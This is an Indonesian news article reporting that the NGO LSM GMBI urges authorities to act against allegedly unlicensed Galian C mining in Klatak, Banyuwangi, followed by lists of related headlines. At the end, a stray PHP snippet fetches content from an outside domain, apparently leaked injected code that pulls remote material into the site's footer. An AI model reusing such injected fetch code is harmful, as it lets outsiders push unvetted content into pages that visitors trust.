LSM GMBI Mendesak Pemerintah dan APH, Adanya Aktivitas Galian C 

Sabtu, 10 September 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Banyuwangi l Jejakkasus.info
Banyuwangi Lembaga Swadaya Masyarakat Gerakan Masyarakat Bawah Indonesia (LSM GMBI) Distrik Banyuwangi Wilter Jatim,  mendesak pemerintah dan Aparatur Penegak Hukum (APH) untuk segera mengambil tindakan tegas terhadap tambang-tambang Galian C yang berada di Kabupaten Banyuwangi, Provinsi Jawa Timur.

Kadiv investigasi LSM GMBI Distrik Banyuwangi Marta Yofi yang akrab disapa Marta, mengatakan, bahwa desakan tersebut berdasarkan hasil investigasi yang telah dilakukan.

“Kondisi kerusakan lingkungan semakin parah di Kabupaten Banyuwangi, salah satunya di wilayah Kelurahan Klatak, Kecamatan Kalipuro,” kata Marta, Jumat, 09 September 2022.

Hasil kajian data ditemukan bahwa perusahaan/pengusaha tambang Galian C yang berada di wilayah Kelurahan Klatak, Kecamatan Kalipuro, Kabupaten Banyuwangi, diduga dengan sengaja melanggar undang-undang pertambangan.

Baca Juga:  Lagi, Puslatpurmar TNI - AL 7 Lampon Gelar Vaksinasi

Galian C yang berada di wilayah Kelurahan Klatak, patut diduga:

1. Tidak memiliki Izin Usaha Pertambangan (IUP) atau menyalahgunakan (IUP).

2. Tidak memiliki Wilayah Izin Pertambangan (WIUP) atau menyalahgunakan (WIUP).

3. Tidak memiliki Analis Mengenai Dampak Lingkungan (AMDAL), dikhawatirkan dampak terhadap kerusakan lingkungan hidup tidak terdeteksi sejak dini.

4. Patut diduga merugikan keuangan negara, karena tidak adanya pajak yang masuk ke Pemerintah Daerah Tingkat I maupun II.

Marta menambahkan, dalam menertibkan atau melakukan penindakan terhadap Pengusaha Tambang Galian C jangan terkesan tabang pilih.

Baca Juga:  Polres Gresik Amankan 31 Motor Balap Liar

“Saya yakin bapak Kapolresta Banyuwangi beserta jajarannya akan berlaku adil dan melakukan penindakan ke siapapun terhadap Pengusaha Tambang Galian C yang melanggar hukum,” kata Marta.

Kami akan segera melakukan pelaporan ke Mapolresta Banyuwangi maupun Dinas Lingkungan Hidup (DLH) Banyuwangi.

“Apabila Pelaporan kami LSM GMBI Distrik Banyuwangi terkesan lambat penanganan maupun penindakan terhadap pengusaha Tambang Galian C yang sudah kami tuangkan di surat pelaporan kami, maka kami tidak segan-segan membuat pelaporan ke Propam Polda Jatim Hingga Kadiv Propam Mabes Polri,” kata Marta.

Baca Juga:  Kenjo Rangsang Lahirnya Bibit Unggul E-Sport

Tidak hanya itu, kata Marta, apabila DLH Banyuwangi, tidak punya keberanian akan kami laporkan langsung ke Kementerian Lingkungan Hidup dan Dirjen Penegakan Hukum (Gakkum), yang khusus menangani penegakan hukum yang merupakan kejahatan lingkungan hidup.

Hasil pantauan dari tim media ini di lokasi Tambang Galian C, sampai saat ini masih beraktivitas.

Terkesan adanya pembiaran dari pihak-pihak terkait.

Di lokasi tambang tersebut, menggunakan beberapa alat berat excavator.

Kedalaman tambang tersebut mencapai kurang lebih 40/50 meter.

Sampai saat ini pihak-pihak terkait belum dapat dikonfirmasi.

(Arif Indra)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>